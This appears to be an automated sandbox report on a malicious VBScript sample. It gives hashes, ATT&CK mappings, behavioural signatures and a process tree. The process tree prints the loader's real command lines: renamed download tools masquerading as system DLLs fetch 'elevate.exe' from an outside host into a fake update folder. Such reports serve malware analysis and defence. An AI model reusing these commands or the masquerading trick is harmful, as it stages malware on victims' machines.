bfcee063fa32a191459eefe44c17702853aad4cfcae2606dc933e83feec77335

Analysis

max time kernel
149s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
21/07/2026, 09:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
D2_29_4.vbs
Size 77KB
Sample260721-k4glkads21
SHA256 bfcee063fa32a191459eefe44c17702853aad4cfcae2606dc933e83feec77335
MD5 a1846a0d9a1ca577036f99faa3f97cf1
SHA1 269d113d7a43e891ef8c4c92fce52a7943dff5fa
SHA512 6a54c68aa537c23060c550203909394db9a26f30da1542e46bae3ade8932d5f851b234344c32de6ec8a025658c9528a4fd8a198169973d9c2d0c2814c5626d00
SSDEEP 384:sPvlXXD6hcBFoLPPMsi0v1IpH12u8IM6BT9cO+O7Sio9:sx5E1MV4eLQ
TLSH
T1B3734EA6830D2FD9E98C0A08D0DB42A631F65B126BB5036CAD351EE7BD3395940F1DDE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
2132	shlwapi.dll
2520	urlmon.dll

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4720	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5592	cmd.exe
4744	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4720 wrote to memory of 5592	4720	WScript.exe	86
PID 5592 wrote to memory of 2132	5592	cmd.exe	88
PID 4720 wrote to memory of 4744	4720	WScript.exe	98
PID 4744 wrote to memory of 2520	4744	cmd.exe	100

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\D2_29_4.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_86059\shlwapi.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_86059\elevate.exe" https://junjun888.ccwu.cc/5555/2/elevate.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5592
- - C:\Users\Public\Documents\MSUpdate_86059\shlwapi.dll
    C:\Users\Public\Documents\MSUpdate_86059\shlwapi.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_86059\elevate.exe" https://junjun888.ccwu.cc/5555/2/elevate.exe
    3⤵
    - Executes dropped EXE
    PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_86059\urlmon.dll /transfer UpdateJob /download /priority high https://junjun888.ccwu.cc/5555/2/elevate.exe "C:\Users\Public\Documents\MSUpdate_86059\elevate.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4744
- - C:\Users\Public\Documents\MSUpdate_86059\urlmon.dll
    C:\Users\Public\Documents\MSUpdate_86059\urlmon.dll /transfer UpdateJob /download /priority high https://junjun888.ccwu.cc/5555/2/elevate.exe "C:\Users\Public\Documents\MSUpdate_86059\elevate.exe"
    3⤵
    - Executes dropped EXE
    PID:2520

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

shlwapi.dll

Path C:\Users\Public\Documents\MSUpdate_86059\shlwapi.dll
Size 411KB
SHA256 0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
MD5 1c3645ebddbe2da6a32a5f9fb43a3c23
SHA1 086f74a35d5afed78ae50cf5586fafffb7845464
SHA512 ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
SSDEEP 6144:2L6+FAKWJAdpfK92cy8u9I2enqjUifLfPxH7IzPyerjgvsA6E1P/qRSp:mVGUQ92PJjfzky0dE1P/qRSp
TLSH
T1DD948C1197B404FAE4528079C953D203F7F2B8652350E78B63F8C9761F933A26F6AB61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

urlmon.dll

Path C:\Users\Public\Documents\MSUpdate_86059\urlmon.dll
Size 206KB
SHA256 739b2dd012ea183895cc01116906f339c9aa1c0baabf6f22c8e59e25a0c12917
MD5 01aab62d5799f75b0d69eb29c1ca6855
SHA1 3fd6eb9a72446f34f309adfaa6b8695eecd5b4b6
SHA512 5af578b6dcd86cf97d3dc68e882336b48930cef5ca70c29fa755792a20a2ff9b2ead486213bf35db4a2490b663d4ff63db8235dd4d5e278d763ed17a353d11f1
SSDEEP 3072:fnFedmxU5z8iwzLX/5kXm2wIvi53+Yvsd0etQSmX0jhwTKm3:fnFrymr/5kXmxS/h7
TLSH
T1DB243E1523F91458F5B7B7789AB98154CA73BC61A732C2DF1299422E0F73AD0AD34B32
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads